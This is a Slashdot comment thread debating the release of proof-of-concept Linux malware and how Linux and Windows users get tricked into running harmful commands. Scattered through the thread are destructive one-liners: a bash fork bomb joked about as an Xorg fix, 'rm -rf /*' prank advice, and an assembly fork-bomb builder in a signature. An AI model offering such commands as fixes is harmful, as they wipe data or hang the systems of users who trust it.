      Ubuntu is an African word meaning 'I can't configure Debian'
    91. Re:I think you've already decided... by drsmithy · · Score: 1

      The fact remains that in most sensible implementations, the user is unable to run arbitrary code outside his own directory.

      Firstly, that means none of the common Linux (or UNIX in general) distributions are "sensible".
      Secondly, how does only letting users run code they've downloaded into their home directory add any meaningful additional security to the average computer ? The problem is they can run code in the first place - where it's located when they do a is minor semantic issue.

    92. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      English? ...pounds not euros!

    93. Re:I think you've already decided... by DadLeopard · · Score: 1

      You also have to take in to account that, 1. Linux users are not your typical Windows user, we tend to be a bit more "computer savvy". 2. Our apps mainly come from a trusted source, the Repositories of our chosen Distro, we don't just download and install stuff from all over the web. 3. Having to type in your password to install something is not an automatic response to "do you want to run XXXX.exe a windows app"!

    94. Re:I think you've already decided... by inerlogic · · Score: 1

      I AM SPAR... errr... Johannes Buchner!

    95. Re:I think you've already decided... by inerlogic · · Score: 1

      BURN him!!!!

    96. Re:I think you've already decided... by skeeto · · Score: 1

      On unix-like systems, the execution bit isn't determined simply by the filename.

    97. Re:I think you've already decided... by bluefoxlucid · · Score: 1

      The thing is, it's stupid for people to keep thinking their systems are insanely secure. Linux users fall for this all the time, because they've heard so from lots of other Linux users. It's better to show people that it is actually possible, and maybe it leads to better secured systems too.

      At some point, Linspire advertised-- on their site and the back of their software box-- that Linspire was "easier to use" because "You always run as root" and gave a lengthy dissertation about how "Linux is inherently secure, so this doesn't decrease security."

    98. Re:I think you've already decided... by bluefoxlucid · · Score: 1

      Oh right. Sorry, I solved that problem last year but didn't release it. I solved it on multiple levels, too.

    99. Re:I think you've already decided... by ais523 · · Score: 1

      And if it's a .py, then being a script, even if it were executable, double-clicking on it would typically ask whether to open or run it. Even if it were a compiled executable, there'd be no way to get the icon looking right. In Windows, .exe files can embed their own icons, and so can look like a JPEG or whatever. In either Gnome or KDE, they'll look like executables. Either way, it would be moderately tricky (although probably not impossible; you could send the file inside a zip or tarball with the executable bit already set, for instance, relying on the fact that most users won't realise there's no purpose in re-compressing a JPEG image) to get the user to set the +x bit on the file before double-clicking on it to try to open it.

      --
      (1)DOCOMEFROM!2~.2'~#1WHILE:1<-"'?.1$.2'~'"':1/.1$.2'~#0"$#65535'"$"'"'&.1$.2'~'#0$#65535'"$#0'~#32767$#1"
    100. Re:I think you've already decided... by stefanlasiewski · · Score: 1

      thOn one.

      But I'll try to be more careful next time.

      --
      "Can of worms? The can is open... the worms are everywhere."
    101. Re:I think you've already decided... by shiftless · · Score: 2, Funny

      Woosh

    102. Re:I think you've already decided... by txwikinger-slashdot · · Score: 1

      It is not only clicking and allowing to run. DirectX has (at least in the past) had no security concepts at all, while javascript had always had "sandbox" concepts. Hence, a malicious website could inject running code into a windows machine with someone browsing with IE without any questions asked. And since most windows users I know always browse the Internet with the administrator privileges enabled, it is obvious what can happen.

      Surely, the only 100% safe computer has no connection to the Internet and can also physically not be accessed by anyone but the owner. However, there is a wide margin of security levels aside of that. The biggest margin of error is the user, while the system can help, and the right FLOSS used and properly setup has a very high level of security in this regard.

    103. Re:I think you've already decided... by Capt.DrumkenBum · · Score: 1

      The first was the only one worth watching. The second and third were the same movie with different guest stars, and locations.

      --
      If I were God, wouldn't I protect my churches from acts of me?
    104. Re:I think you've already decided... by t0rkm3 · · Score: 1

      Agreed. On mine, my wife's, and my Dad's machines the on-machine backup is not in their home directory. It is a snapshot that is copied elsewhere. (off-site)

      The question is, in which OS is privilege escalation most likely?

      When Linux implements a font rendering kernel-level remote exploit feature, then it will be the year of the Linux desktop I suppose.

    105. Re:I think you've already decided... by david_thornley · · Score: 1

      The other crucial difference is cultural. MacOSX and Linux are in the Unix tradition, while Windows is still culturally tied to its single-user roots.

      I have admin rights on the Windows computer I'm using right now. There's good reasons for that, and if this were a Linux box I'd be allowed to use sudo. The difference here is that everything I do on this computer is done by an admin-level account, whereas on my home box nothing gets done as root by default. My wife had to fight to get a normal user account installed on her Windows development box.

      Unix software (and by that I include MacOSX and Linux) is designed to run with limited privileges. There's ways to escalate, and those are sometimes usable to get root access, but that's accidental. A lot of Windows software is designed to run only with admin privileges, and that creates lots of security problems.

      Microsoft is trying to change the culture to some extent, but there's limits. The most important feature of MS Windows is compatibility with MS Windows-compatible software, after all, and only some of the bad Windows software out there was written by Microsoft. Microsoft disregarded security for a very long time, in favor of ease of use and backwards compatibility, and made some really bad decisions. They're doing what looks to me to be a good effort to put security into their OS, but it's going to take at least a decade to change the overall culture. Look at the fuss made over UAC: it wasn't primarily because of the bad implementation, but a reaction against the idea, but UAC in some form is vital to maintain backward compatibility while prodding software writers to write software that doesn't violate security restrictions en masse.

      --
      "When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
    106. Re:I think you've already decided... by Kvasio · · Score: 1

      No, I am Brian

    107. Re:I think you've already decided... by CoccoBill · · Score: 1

      Yes, what you say is partly true if we are looking at a static piece of code that is never changed or updated (if it's not static, changes or new functionality can always introduce new vulnerabilities). How relevant that is to anything in the real world, not very in my opinion. And only partly, because completely new types of attacks and attack vectors are discovered constantly.

    108. Re:I think you've already decided... by psithurism · · Score: 1

      The most chronic viruses for Windows and Mac have always been trojans and mal-ware. Usually self executing and sent over email. A few years ago back in college there was a huge infestation of that trojan that looked like spam and you had to decrypt it before you could run it. As a computer science major, people would ask me to help them infect their pcs with it until I explained to them that doing that was bad.

      I know several people who can barely use computers who got sold on the "Linux is the most awesome operating system ever!" before considering their own needs might differ from the people saying that. Sure its nice to (try to) explain to them that they don't need to block port 135 or patch for worms before plugging into the internet and personally I feel they are more secure, but I could easily see them downloading something like this item in the article in an email, and then running a bunch of shell commands from the email, before calling me to install the urgent Redhatpatch they just received from President Obama himself on their Ubuntu system.

    109. Re:I think you've already decided... by Anonymous Coward · · Score: 0

      You really ought to bury this. The reason, if you are doing it just to prove a point, you also, make it known that it can be done, and might as well be showing others how.
      If they learn on their own what is what, that is a lot more time consuming than announcing to the world you know how. Anyone with enough time and money
      can break a system and break into a system, but to make it easier to perform such, yes, ethically, unless your mission is to do harm, I would say bury it now and
      forget about it. Proving you can is one thing - proving it to yourself, but proving it to the world is quite another. What do you have to prove? I sometimes doubt whether we
      as human beings a wise enough to possess the knowledge we do. Now our arch enemy Micro$lug will be beating a path to your door.

    110. Re:I think you've already decided... by Myopic · · Score: 1

      give you a million euro's what?

    111. Re:I think you've already decided... by erictheturtle · · Score: 1

      So part of what you're saying is that people should be strongly encouraged to go to the official source for information/updates/programs/etc and strongly discouraged from browsing around freely for such things. Doing this helps prevent unpleasant things from happening (and also provides the best user experience).

      I find it quite interesting that a certain fruity company does this very well, yet developers and hackers cry out in dismay, condemning the enforced limitations. Even when the great company is benevolent, the crowd still carry on in condemnation for any remaining lack of freedom.

    112. Re:I think you've already decided... by Myopic · · Score: 1

      I totally love your sig! We grammar nerds need to stick together. To that end, I should tell you that you got it wrong: less and fewer both refer to quantity; but "less" is used for quantity of a continuous thing (like water, sand, distance) whereas "fewer" is used for discrete things (like molecules, grains, or inches).

    113. Re:I think you've already decided... by BikeHelmet · · Score: 1

      This doesn't prove anything except that Windows losers desperately want some shadenfruede

      I've gotten pwned by legit updates more on Linux than on Windows.

      That's bad. Microsoft has a poor track record. Beating it is awful, though understandable. (You can't test stuff on every piece of hardware in existence)

      I haven't had a virus or trojan in about 7 years, so I think I'm finally knowledgeable enough to run Windows safely. This thing however would pwn me, because I don't have as much linux knowledge. ;)

      He should definitely release it. Linux is spreading - if you let admins get a false sense of security, they'll get pwned, and Linux will gain the same rep as Windows.

    114. Re:I think you've already decided... by TangoMargarine · · Score: 0, Flamebait

      Woosh yourself

      --
      Unity? Screw that: XFCE. Slashdot Beta? Screw that: SoylentNews. Australis? Screw that: Pale Moon. UX developers DIAF
    115. Re:I think you've already decided... by Max+Littlemore · · Score: 1

      Any idiot user can blindly run "rm -rf /*".

      That's the point. Any idiot can also, in the full belief that they are not an idiot, run a script or follow a set of steps that expose a system to attack. The number of times I have encountered professionals^H^H^H^H^H^H^H^H^H^Hidiot nephews of friends of the owner running application servers as root in production is scary - mostly at the small business end - still scary. The number of people out there running friendly desktop Linux that don't understand basic unix security and set things up based on advice from a blog seems pretty high.

      People do things that don't break a system straight off, but leave it vulnerable. If someone posts a dodgy Ubuntu + iPhone/Android configuration to share data over wifi then lots of systems are potentially exposed. I specifically mention these brands because they are popular and could represent a large target.

      One exploit of a widely used hack is enough to infect a lot of machines and have zombies receive instructions on exploiting other undiscovered exploits on other machines in future. And on and on. Malware is infinitely patient

      The risk I am talking about is not so much the "run 'sudo rm -fR /*' to fix your wifi" kind of prank in the least. I have been using Linux almost exclusively at home for around seven years and am guilty of repeating the "You need to deliberately install the virus to be infected" mantra or ostrich security model as much as anyone.

      We, as a community, need to keep on top of exposing bad advice and give good advice to new users as much as possible, even if it gets boring. When doing something that involves a potential security risk, good tutorials on setting up PAM properly are much better than simple "start daemon x as root" type advice. Correcting bad advice as soon as possible is very important as a major trojan/worm attack would seriously dent Linux's reputation for security.

      While those of us with more experience are less likely to be vulnerable, the same is true for Windows users and a large scale attack succeeding through complacency born in arrogance would be very embarrasing. Just saying.

      --
      I don't therefore I'm not.
    116. Re:I think you've already decided... by Gavagai80 · · Score: 1

      I can't remember the last time I installed software that didn't come from the repositories or a major trusted site (like google). Unless you convince a distribution to include your malware package, I don't see how you can get anyone to install it -- they'll never even see it. Sure, someone can set up FTP access to let a hacker do whatever they want... but that's not a security issue, it's a user stupidity issue.

      --
      This space intentionally left blank
    117. Re:I think you've already decided... by silentcoder · · Score: 2, Insightful

      Erm the problem with a certain company from us free-software types is not with the company, it's software or it's sources of information, it's with the company's LICENSING. We say the *same* thing about apple, and about adobe and about every other proprietary program regardless of the source.

      The bad feel that the open-source crowd has toward microsoft is granted, a much more blurry line, but you can't pretend the company hasn't deserved it. One good deed does not make up for a million bad deeds.

      Now, aside from that - I never actually said what you say I said... in our world - there is no *official* sources of information. Okay, some Linux systems are made by companies, they aren't "more linux" or "more official" than those made (like mine) by groups of volunteers. All I said was, if you come to the kongoni forums and post a question - you can be sure that the reply will be from somebody who knows kongoni, and cares about and wants to make your transition as painless as possible.
      You can find such information elsewhere, linuxquestions is a very good resource and largely devoid of problem replies too. Putting a link to our forum on the desktop is not coercion - it's a valuable resource for somebody who gets stuck.

      Honestly, I fail to see your analogy in fact... nothing like this exists in the windows world, and how is users-helping-users in any way like anything microsoft does ? All I said, was that we should aim to keep those locations where we can moderate the replies, and where the people who care about these projects are active easy to find, so that users do not find malicious misinformation BEFORE they find us.

      Sorry, there is just no comparison.

      --
      Unicode killed the ASCII-art *
    118. Re:I think you've already decided... by Zontar+The+Mindless · · Score: 1

      Right. Figure out how to jam all that into 128 chars and get back to me. :)

      --
      Il n'y a pas de Planet B.
    119. Re:I think you've already decided... by Pigskin-Referee · · Score: 1

      I believe that the code should be released; although I find it hard, if not impossible to believe that no one else has stumbled upon his approach. The simple fact is that there is no real interest in hacking a *nix system since the user base is trivial compared to Microsoft's. Consider Firefox as an example. As its base increased, the number of confirmed exploitable flaws increased exponentially also.

      Releasing the code as a "Proof of Concept" with the proper warning will shield the author in virtually all locals. Besides, since his code does not cause any harm, he is in the same catagory as 'gun' manufacturers or the author of the original C++ programing language. Simply because something can be used in a harmful manner does not make the original manufacturer/author liable for damages.

      --
      Crash Davis (Kevin Costner) in Bull Durham (1988): ' I believe in the soul, the cock , the pussy, the small of a woman's back , the hanging curveball, high fiber, good scotch, that the novels of Susan Sontag are self-indulgent over-rated crap . I believe that Lee Harvey Oswald acted alone. I believe they're ought to be a Constitutional Amendment outlawing astro turf in the designated hitter. I believe in the sweet spot , soft core pornography , open your presents Christmas morning rather than Christmas Eve and I believe in long, slow, deep, soft, wet-kisses that last three days .'

      --
      Pigskin-Referee
      Linux: Yesterday's technology, tomorrow ...
    120. Re:I think you've already decided... by CountBrass · · Score: 1

      "Um, and this is different from a Windows virus how?" is the point of both the article AND the comment you were responding to.

      --
      Bad analogies are like waxing a monkey with a rainbow.
    121. Re:I think you've already decided... by CountBrass · · Score: 1

      So according to silentcoder "Linux users (hardly ever) download and install software from the internet. We download and install packages from repositories."

      Where are these repositories if not on the internet? And how do you download and install software from them if not over the internet?

      --
      Bad analogies are like waxing a monkey with a rainbow.
    122. Re:I think you've already decided... by skiman1979 · · Score: 1

      MD5 hashes are all well and good to verify that what you downloaded is indeed the file that exists on the repository's server. However, does the package manager check this against other repositories? What's to stop an owner of a particular mirror from replacing a certain popular package with a malicious program of the same name and regenerating the MD5? I guess the mirror would fix itself the next time it updates from the main repository, but people may still grab the malicious version in the meantime.

      Unless mirrors don't work that way.

      --
      Having a smoking section in a public restaurant is like having a peeing section in a public swimming pool.
    123. Re:I think you've already decided... by silentcoder · · Score: 1

      I was constrasting it with the "download software from random website" approach on Windows. I know repositories work over the internet, and everybody else who read it understood what I meant.

      --
      Unicode killed the ASCII-art *
    124. Re:I think you've already decided... by erictheturtle · · Score: 1

      the problem with a certain company from us free-software types is ... with the company's LICENSING.

      Like the licensing that controls how you cannot use their software except in approved ways so as to mitigate the chances issues?

      We say the *same* thing about apple, and about adobe and about every other proprietary program regardless of the source.

      Indeed all componies that try to control how people may use thier software receive a ton of flack. Apple was chosen as the example due to the unique polorizing and often paradoxical love and hate shown by the crowds.

      there is no *official* sources of information

      Fine fine, I'll use the term "officially recognized". You want to encourage people to go to "officially recognized" sources of information--places that we know are more trustworthy. Does this finally restate what you were trying to say?

      so that users do not find malicious misinformation BEFORE they find us.

      I had assumed--on top of actively encouraging reliance on certain "offically recognized" sources of information--you wanted to actively discourage people from going to "unoffical" ("less official", "unrecognized officially", etc) sources of information and software. This is where I see a parallel. You want to try to control what the user does with her/her software. It's a benevolent control, but control none-the-less.

      But you didn't actually say it, so if the assumption is wrong, then I agree your approach can't really compare to corporate entities. Only in Linux will we not discourage you from going to places that could trash your system. We hope you don't, but you're free to do what you want.

      nothing like this exists in the windows world

      Forums where people can go to get help, or freedome to do whatever you want with the software, including damage it?

    125. Re:I think you've already decided... by Jake+Griffin · · Score: 1
      --
      SIG FAULT: Post index out of bounds.
    126. Re:I think you've already decided... by Myopic · · Score: 1

      Something like this, I suppose.

      Grammarmofo #3: Less=continuous, fewer=discrete. If you have *fewer* grains of sand you have *less* overall sand.

      Really, though, if you are going to have a grammarian signature, you certainly don't want to actually get the grammar wrong, do you?

    127. Re:I think you've already decided... by Unequivocal · · Score: 1

      Minor point: It's not really dark corners. I think of the "normal" internet as a small spot lighted area on a stage in a very big, dark and shady night club.

    128. Re:I think you've already decided... by hedwards · · Score: 1

      And, we know that no black hats will get the malware and re-engineer it to cause harm? Just remember that the first viruses were basically just jokes, it wasn't until later that they went malicious.

    129. Re:I think you've already decided... by Anonymous Coward · · Score: 0
    130. Re:I think you've already decided... by jimicus · · Score: 1

      2. I doubt bad advice will be as obvious, more likely you'll see configuration options that end up with your server exposed to the world, maybe set up as an anonymous proxy or given write-access to your ftp server. Just think what configuration someone could give you for your samba shares, or your openldap server!

      Too late. IMO, the Ubuntu forums don't just have a signal:noise ratio problem, they also have a "genuinely useful:looks useful at first glance but is actually dangerous if you read carefully" ratio problem for anything non-trivial.

  2. Unpossible... by Anonymous Coward · · Score: 0

    How did you write this piece of unpossible software?! It's surely impossible to do this on Linux... You should leave now.

  3. Ethics by Anonymous Coward · · Score: 2, Funny

    Just releasing linux is an ethical problem. Hell, I can't even print anything since last saturday.

    1. Re:Ethics by Hal_Porter · · Score: 1

      That's caused by evil M$ agents like Herr Buchner though.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    2. Re:Ethics by PouletFou · · Score: 1

      I had the same problem! Spent hours of googling only to find out that I had to buy some paper. Linux is so not ready for the desktop.

    3. Re:Ethics by NotBornYesterday · · Score: 1

      It's a poor carpenter who blames his tools. ;)

      --
      I prefer rogues to imbeciles because they sometimes take a rest.
    4. Re:Ethics by dave420 · · Score: 1

      When the carpenter's chisel blade falls off when it's removed from the box, it's only a stupid carpenter who doesn't.

    5. Re:Ethics by NotBornYesterday · · Score: 1

      A real carpenter would recompile his chisel from source. ;)

      --
      I prefer rogues to imbeciles because they sometimes take a rest.
    6. Re:Ethics by jimicus · · Score: 1

      What kind of carpenter uses a chisel which tends to fall to pieces?

  4. The Lulz by Anonymous Coward · · Score: 0

    Do it for the lulz...

    You know you want to....

  5. Malware? by Anonymous Coward · · Score: 0

    So you made a program that a user can run that will jack up their system and you consider this a security issue? I don't consider that inventive.

    Here's something I wrote a long time ago but was slightly more destructive.. No one seems to care that if you run some code, it might actually run, damn fools.

    #/bin/sh
    rm -rf

    1. Re:Malware? by pablomme · · Score: 3, Funny

      Two typos in (what was supposed to be) 19 characters. I wish all malware writers were that sloppy.

      --
      The state you are in while your HEAD is detached... - wait, what?
    2. Re:Malware? by Thinboy00 · · Score: 2, Interesting

      Then comment your code to that effect.

      --
      $ make available
  6. consult with a real security professional by ChipMonk · · Score: 5, Informative

    Contact someone at SANS, or Bruce Schneier, or some such. Maybe even someone on the SELinux project; if this non-malicious malware is indeed as capable without SELinux as you claim, and SELinux mitigates/eliminates the danger, this could be good PR for them.

    1. Re:consult with a real security professional by Anonymous Coward · · Score: 5, Insightful

      Should people run SELinux? Prolly not, it's a pain the ass for Joe user. It's hard enough for admins who know what they're doing (anyone who's had an SELinux error and not checked the right log knows what I'm talking about.) Distros need to play nice with SELinux or provide a better alternative for Joe user.

      Should Sysadmins run SELinux? If you've got sensitive data on it, damn straight--you need that kind of protection along with the service removal and permissions hardening you do to Linux machines you really want to keep "safe." If you don't and it's not even a production server, why bother with anything beyond Permissive (or perhaps just Targetted services.)

      ---

      FYI If you find yourself responding in any way that involves a CLI my grandma is going to get annoyed, call me, and ask how to deal with it and I'm going to need a new solution.

    2. Re:consult with a real security professional by buchner.johannes · · Score: 1, Interesting

      The thing is, it is not a security bug that you can fix, more a 'I-am-here'-code. You would have to find a exploit first, then apply this code onto it.

      For example:

      You can get a PHP file onto the webserver, and it allows exec() --> you use this payload to show you got here.
      User downloads and runs a file without checking if it is authentic --> you use this payload to show you got here.
      You found a exploit in Firefox --> you piggyback and run this payload to show you got here.

      It is a way of more efficiently showing the reach of this exploit, and could become the default way of showing the effectiveness.

      There is nothing for programmers, packagers or distros to do. Only Linux admins/users can secure their systems.
      Some exploits that require users (launcher icons) are documented already ... elsewhere.

      --
      NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
    3. Re:consult with a real security professional by ChipMonk · · Score: 1

      Okay, it's more like the fake virus signatures that anti-virus vendors provide to let users test their products. "Click here to see if a virus alert pops up." I still think that could be a very useful tool for the SELinux crew. Probably they could integrate it into their automated tests.

    4. Re:consult with a real security professional by dissy · · Score: 4, Insightful

      Or heck, this is *Linux* we are talking about here.

      Release it, and they will patch.

      Give it to Theo Raadt of OpenBSD fame. In a week all of the attack vectors will be well defined, and source code fixes being pushed downstream.
      For BSD admittedly, but once the vectors are well defined, the Linux guys are more than able to 'translate' and make the same fixes.

      That can only be a good thing.

      It isn't like you need to worry about the company suing you for pointing out a security problem in their product when you tell them!

      Besides, no matter how well behaved malware system you write, no matter what possible evils your imagination has come up with that it could be twisted into, the script kiddies out there already have much much better tools than that.

      Just release it, sitting on it only gives the black hats more time to use the same exact security flaws for evil.

    5. Re:consult with a real security professional by Anonymous Coward · · Score: 0, Informative

      Only problem is there are several free-roaming exploits that require SELinux to run in order to get access to ring0. SELinux generally causes more problems than it solves.

    6. Re:consult with a real security professional by WuphonsReach · · Score: 1

      Permissive does nothing for security (other then logging the first violation).

      Targeted *should* work fairly well. If the policies are properly defined and the file system, ports, and processes are all properly labeled. And in a large part it does. Especially on the server side where you typically set the machine up, then don't add software willy-nilly. So you deal with the exceptions once, then things work fine for years at a time.

      Strict is for the masochists... or those who *really* need security. Think "big iron" type systems where all changes go through a change committee that meets once a week and plans everything down to the last keystroke.

      The tools are getting better. The documentation is still a bit weak. There needs to be more help / info type documents out there by people who understand the principles behind the thing. (Dan Walsh does a good job, but we need more.)

      --
      Wolde you bothe eate your cake, and have your cake?
    7. Re:consult with a real security professional by khallow · · Score: 1

      We assume here that the story submitter wasn't intending to hype SELinux. If he is, then actually doing anything other that worry publicly on Slashdot is not in his interest.

    8. Re:consult with a real security professional by Anonymous Coward · · Score: 0

      If your script currently doesn't do well with SELinux, than someone can probably patch it...

      SELinux doesn't really increase security in this sense. If you can trick a user into running something as root, you can easily automatically reconfigure SELinux to accept whatever this script is doing as well.

    9. Re:consult with a real security professional by magamiako1 · · Score: 1

      My assumption is that this guy's malicious software is not necessarily something that can be patched, in that since it expects the user to run it manually, then no amount of "patching" can fix the problem at hand, which is ultimately the end user's hand.

    10. Re:consult with a real security professional by dissy · · Score: 1

      My assumption is that this guy's malicious software is not necessarily something that can be patched, in that since it expects the user to run it manually, then no amount of "patching" can fix the problem at hand, which is ultimately the end user's hand.

      Well yes. If the first two steps of 'becoming infected' are
        1) user runs executable on purpose,
        2) user enters root password
      then that is not a security issue. The computer is supposed to do as its owner asks.

      However, he implied there are various injection methods it takes advantage of at the user level.
      Those can be fixed.

      If the case happens to be it requires root access to do anything, then no, as you said nothing can be done about that.

    11. Re:consult with a real security professional by Youngbull · · Score: 1

      It doesn't seem like this does something "patchable," it seems like Linux is working as expected, you download the file, you get prompted for security elevation when executed (if that is automatic then the problem is probably somewhere else like the browser), and the program does it's thing. If it doesn't work in SELinux its probably because SELinux would recover some extra manual overriding of configuration that Linux doesn't require by design. However it sounded to me like it does something it's not suppose to be able to, when issuing it's auto start. But let's face it, if you allow a problem to it is supposed to be able to do almost anything...

  7. Commendable by Anrego · · Score: 5, Interesting

    .. but sounds like a lot of work to prove a relatively straight foward point.

    It's actually been my opinion that Linux in the hands of someone who doesn't know how to use it can in some situations be less secure than windows.

    My reasoning for this is that:

    1) Newbie Linux users who are having problems with their systems will rpetty much run anything as any user you tell them to in a desperate hope to get Xorg working again

    2) Linux commands on their own can look very cryptic to the uninitiated.. add into that the scripting abilities of most shells.. and a new Linux user won't be able to differentiate a malicious command from one that will get their nvidia driver working again

    3) The out-of-box remote admin abilities of Linux are excellent.

    4) Standard tools like nc can easily be used to establish out-connecting remote shell sessions

    5) OR you can just get them to wget and execute your favourite piece of malware.

    1. Re:Commendable by Orion+Blastar · · Score: 4, Interesting

      Yeah but Windows suffers the same thing, when Windows goes wonky people will ask over the Internet for random strangers to fix it.

      "Here download this program, run it, ignore any warnings, choose 'allow' for every UAC prompt, and then it will give me remote control of your system so I can 'fix' it for you."

      My son's system got hacked that way when his older cousin came over and the game he was playing did an update and his character was hovering instead of walking. Instead of asking me to fix it (it was a Nividia driver issue) he got some random stranger from Ohio. I was busy in the other room with my wife and monitoring another cousin who came over on a different system. I had to remove the remote control trojan, and rootkit, and then fixed the driver issue, after learning that he let some stranger into my son's system and pwned it. Lucky there was no bank account or other info, as my son is too young for that. Lucky I was able to find the malware and remove it. Just to be safe I even reformatted the system. It only took 15 minutes for that to happen, while I was busy on something else, and my wife isn't tech savvy enough to know what the kids are doing on the computers. Watch one nephew, and the other nephew is doing something he shouldn't be doing. My brother had to disable their computers at his house because of stuff like that, he even tried Linux, and they managed to get Linux infected that way you described. So my brother zero formatted the hard drives and then took out the RAM, until they grow up and show enough responsibility to have working systems again.

      Teenagers, seesh, looking for the quick fix, but adults are just as dumb and fall for the same thing as there are so many helpful strangers on the Internet willing to help/hack the system for them.

      --
      Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
    2. Re:Commendable by Anonymous Coward · · Score: 0

      Here, this code will remove all your worries with Xorg: :(){ :|:&};:

    3. Re:Commendable by cbiltcliffe · · Score: 2, Informative

      That doesn't make Linux less secure than Windows. That makes the user just as insecure as the same uneducated fool running Windows.

      1) Newbie Windows users who are having problems with their systems will pretty much click on anything as any user you tell them to in a desparate hope to get IE working again.

      2) Windows settings dialogs on their own can look very cryptic to the uninitiated. Add into that the scripting abilities of cmd.exe... HAHAHA ...ok.. I can't complete that thought without falling out of my chair. But, a new Windows users won't be able to differentiate a malicious click from one that will get their Freecell working again.

      3) The out-of-the-box remote admin abilities of Windows are excellent. (At least...as good as they are for Linux. Considering that both have a firewall by default, which you have to get the user to turn off in order to be able to remote admin the box...)

      4) Standard tools like BackOrifice can easily be used to establish out-connecting remote management sessions.

      5) OR, you can just get them to IE download and click your favourite piece of malware.

      See? It's not Linux. It's the user.
      Every security problem you mentioned applies equally to every operating system on the planet. Except the odd few that don't have networking abilities.....

      --
      "City hall" in German is "Rathaus" Kinda explains a few things......
    4. Re:Commendable by Anonymous Coward · · Score: 0

      sh is truly the ultimate in programming languages when you can create a fork-bomb from a bunch of smilies.

    5. Re:Commendable by JDeane · · Score: 1

      I remember tricking people into running whack a mole to infect them with sub 7 back in the day lol

      good times, good times...

      If you can convince a user to run some code it really does not matter what OS your on. At that point the security game is over.

      Me if I wanted to target Linux I would make something that would be a double click install for Ubuntu (To me at least it looks like more computer non literate people pick Ubuntu then other distro's) Call it something like Kitten Screen saver, something fuzzy and cute could not possibly be bad lol make up some BS as to why its trying to connect to the internet just in case they are running a firewall hmmm updates for even more fuzzy kittens !!!

      1. Make fuzzy kittens malware
      2. Trick user into installing malware
      3. Set up ad server
      4. Profit!!!

      Hmmm I am missing a step ??? lol

    6. Re:Commendable by martin-boundary · · Score: 1

      1) Newbie Linux users who are having problems with their systems will rpetty much run anything as any user you tell them to in a desperate hope to get Xorg working again

      It's actually worse than that. If they're former Windows users (and let's face it, that's most of them) then they'll immediately start manually installing lots of programs from random web sites in the mistaken belief that those versions packaged for their distro are always buggy or just not good enough. Then they complain that their system just doesn't work properly or fails in mysterious ways.

      There's a pernicious Windows mindset about always having the latest point release for everything right away, without realizing that the distros first do a lot of customizing of the upstream source.

    7. Re:Commendable by techno-vampire · · Score: 2, Interesting
      Linux commands on their own can look very cryptic to the uninitiated.

      My sister uses Ubuntu, and I'm her tech support. Sometimes, I need distro-specific advice (I use Fedora.) and ask on ubuntuforums.org. I've glanced at some of the forum rules, both there and at the Fedora fourm I use for my own system and they both specifically forbids suggesting certain commands as "solutions" to problems, even as a joke, because they're so destructive.

      --
      Good, inexpensive web hosting
    8. Re:Commendable by WiiVault · · Score: 1

      My son's system got hacked that way when his older cousin came over and the game he was playing did an update and his character was hovering instead of walking. Instead of asking me to fix it (it was a Nividia driver issue) he got some random stranger from Ohio. >

      Ohio you say? You must be a terrible parent for not telling your kid to avoid anybody from that godforsaken place. I mean Ohio, seriously?

    9. Re:Commendable by jimboindeutchland · · Score: 2, Insightful
      Hi there, just a friendly suggestion:

      Why not let the kids do whatever they want in a virtual machine? To be extra sure that the vm is safe, start from a clean snapshot every time.

      But please, for the love of god, don't take away their RAM!

      --
      this post is now diamonds!
    10. Re:Commendable by ArsenneLupin · · Score: 1

      I was busy in the other room with my wife

      Congratulations for the nice eupemism...

    11. Re:Commendable by Mista2 · · Score: 2, Insightful

      Don't give newbies root 8)
      My kids happy play on my Mac as the prental control on that is friggin awesome - limit the UI, list only allowed apps, limit logon times and total hours per day. Their own first computers are going to be used Macs. They can run windows in a non persistant VM if they really need something in Win32, and the Xbox and Wii will be fine for games. Once they are browsing by thems selves, then I will also install Squid proxy on something to track their access. Have a secured location or vm for torrenting, and a simple rule - no pirated software. If someone cares that little about a software devs property, what makes you think they give a rats ass about your own property.

    12. Re:Commendable by jabjoe · · Score: 1

      Noted. No admin/root for children on any computer that matters. For their machine, keep a clean image to restore the system when they borked it. That was kind of what I was planning anyway. That and some crazy multiseat setup so I can have one master computer in the house..... ;-)

    13. Re:Commendable by Anonymous Coward · · Score: 0

      2) Linux commands on their own can look very cryptic to the uninitiated.. add into that the scripting abilities of most shells.. and a new Linux user won't be able to differentiate a malicious command from one that will get their ATI driver working again

      Minor correction

    14. Re:Commendable by Dunkirk · · Score: 1

      3) The out-of-the-box remote admin abilities of Windows are excellent. (At least...as good as they are for Linux. Considering that both have a firewall by default, which you have to get the user to turn off in order to be able to remote admin the box...)

      I don't know what planet you hail from, stranger, but I hope you have nice weather there.

      Seriously. Saying that remote-admin capabilities on Windows are "at least" as good as they are for Linux is ridiculous, even if done in a joking way, because jokes work only if they have some basis in reality.

      --
      Acts 17:28, "For in Him we live, and move, and have our being."
    15. Re:Commendable by bbbaldie · · Score: 1
      So my brother zero formatted the hard drives and then took out the RAM, until they grow up and show enough responsibility to have working systems again.

      Can I do that to dumb users where I work? This 90/10 thing is driving me bonkers.

    16. Re:Commendable by CAIMLAS · · Score: 1

      When I was a kid, our house had one computer for a great many years (until I saved up for my own). It ran DOS and Win95 (and it really shouldn't have been with 8M of RAM). I remember Windows broke, whether by intervention or otherwise, and we had a technician come over (who claimed to be able to read the sparse dumps when an app crashed *g*).

      Well, that made Dad steaming mad, because it was expensive. The next time it broke, I was told to fix it. And I did, after several days of fucking around trying to figure out what I'd done.

      After I got my own computer, I broke Windows several times, as well as Linux. But I got to the point where it wasn't an issue, I'd installed Windows so many times. Thankfully, I had a second computer to help me find answers.

      Kids these days, wanting an 'adult' to fix things for them. Figure it out yourself, don't ask for someone else to figure it out!

      --
      ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
    17. Re:Commendable by fulldecent · · Score: 1

      >> 2) Linux commands on their own can look very cryptic to the uninitiated.. add into that the scripting abilities of most shells.. and a new Linux user won't be able to differentiate a malicious command from one that will get their nvidia driver working again

      you mean like http://x.phor.net/

      --

      -- I was raised on the command line, bitch

    18. Re:Commendable by Anonymous Coward · · Score: 0

      Give them a read-only installation with working sound and Flash, and they can play around with teh Internets and perhaps learn something while growing up?

    19. Re:Commendable by Orion+Blastar · · Score: 1

